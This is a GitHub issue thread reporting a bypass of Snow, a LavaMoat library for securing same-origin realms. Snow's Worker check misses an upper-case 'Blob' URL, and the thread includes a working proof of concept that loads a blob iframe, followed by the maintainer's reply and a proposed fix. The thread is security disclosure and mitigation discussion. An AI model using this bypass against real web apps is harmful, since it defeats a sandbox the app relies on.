LavaMoat / snow

Use Snow to finally secure your web app's same origin realms!
https://lavamoat.github.io/snow/demo/
MIT License
103 stars 9 forks source link

Snow can be bypassed by creating a Blob URI inside a worker #158

Open matanber opened 5 months ago

matanber commented 5 months ago

In order to prevent Blob URIs from being created within workers, snow overrides the Worker constructor using the following code:

const native = win.Worker;
win.Worker = function Worker(aURL, options) {
  const url = typeof aURL === 'string' ? aURL : toString(aURL);
  if (stringStartsWith(url, 'blob')) {
    return new native(swap(url), options);
  }
  return new native(url, options);
};
// [...]
function swap(url) {
  if (!blobs.has(url)) {
    const content = syncGet(url);
    const prefix = `(function() { Object.defineProperty(URL, 'createObjectURL', { value: () => { throw new Error(\`${BLOCKED_BLOB_MSG}\`) }}) }())`;
    const js = prefix + '\n\n' + content;
    blobs.set(url, createObjectURL(new Blob([js], {
      type: 'text/javascript'
    })));
  }
  return blobs.get(url);
}

This code overrides the URL.createObjectURL function in every worker that is created from a URL that begins with 'blob'. Because URI schemes are case-insensitive, this can be bypassed simply by creating a worker with a URL that begins with 'Blob'. Here is a little demo for that:

blob = new Blob([`
    console.log(URL.createObjectURL(new Blob(["test"])))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
const w = new Worker(u)

Building on top of arxenix's brilliant bypass in issue #43, this can be used to bypass Snow using the following PoC:

blob = new Blob([`
    js_url = URL.createObjectURL(new Blob([\`
        alert(origin)
    \`], {type: "text/javascript"}))
    postMessage(URL.createObjectURL(new Blob(['<script src="'+js_url+'"></script>'], {type: "text/html"})))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
w = new Worker(u)
w.onmessage = (msg) => {
    console.log(msg);
    f = document.createElement("iframe");
    document.body.appendChild(f)
    f.src = msg.data;
}
weizman commented 5 months ago

Hi @matanber,

As you've probably seen, there are quite a few reported issues against the Snow project, which we haven't addressed yet on purpose.

These issues have taught us that browsers are just too unable to help us address this issue in the user land (meaning by implementing JS rules at runtime).

By "this issue" I refer to the ability to form new same origin realms and access them even when an app wants to forbid it.

This is also known as the same origin concern which we write about a lot and are trying to convince browser vendors to help defend against this problem natively (see our explainer).

I'm telling you this because I don't want you to spend some of your precious time on Snow until we either address these issues or decide to form a different version of a solution to this problem (WIP).

I take responsibility for not making this clear in the README file, I will make sure to do so.

I at least hope this was fun for you and helped you comprehend this new type of problem we're trying to defend and address - with hope to succeed one day!

Either way, thanks for the effort, it is much appreciated.

(p.s. have a go at LavaDome - I think is has a better shot at succeeding than Snow, at least for now)

weizman commented 5 months ago

And as for this bypass specifically - awesome work. Truly.

alpgul commented 4 months ago
function swap2(aURL) {
    const url = typeof aURL === 'string' ? aURL : toString(aURL);
    if (stringStartsWith(url, 'blob')) {
        if (!blobs.has(url)) {
            const content = syncGet(url);
            const preloadURL = createObjectURL(new Blob([`window.parent.SNOW_WINDOW(window);`], {
                type: 'text/javascript'
            }));
            const prefix = `<script src=${preloadURL}></script>`;
            const js = prefix + '\n\n' + content;
            blobs.set(url, createObjectURL(new Blob([js], {
                type: 'text/html'
            })));
        }
        return blobs.get(url);
    }
    return url;
}
Object.defineProperty(win.HTMLIFrameElement.prototype, 'src', {
    configurable: true,
    enumerable: true,
    set: function(url) {
        return setSrc(this, "IFRAME", swap2(url));
    }
});
Object.defineProperty(win.HTMLFrameElement.prototype, 'src', {
    configurable: true,
    enumerable: true,
    set: function(url) {
        return setSrc(this, "FRAME", swap2(url));
    }
});

function setSrc(element, tag, url) {
    switch (tag) {
        case 'IFRAME':
            return bag.iframeSrc.call(element, url);
        case 'FRAME':
            return bag.frameSrc.call(element, url);
        default:
            return null;
    }
}

The code above is a solution to the problem,, but I only tested the code in the issue. However, I have a few questions. First, why didn't you use MutationObserver? Second, why did you use the iframe onload event? When I examined the code, I couldn't see any benefits of using 'onload'.

weizman commented 4 months ago

MutationObserver isn't a synchronous API, so by the time it tells you a new iframe is introduced to the page, it's too late because the attacker probably gained access to it before you. The onload event on the other hand acts synchronously against iframes loading local resources (e.g. about:blank or blob:), so it answers that need that the MutationObserver approach doesn't. Hope this helps.

alpgul commented 4 months ago

I got confused because MutationObserver was used in that project, which caused me to be misled. Your explanation helped me understand, thank you.

weizman commented 4 months ago

It's all a matter of what you're trying to defend 😉

eligrey commented 3 months ago

It is possible to provide some protections against this bypass without Realm Initialization Control, although RIC would make it much easier to solve.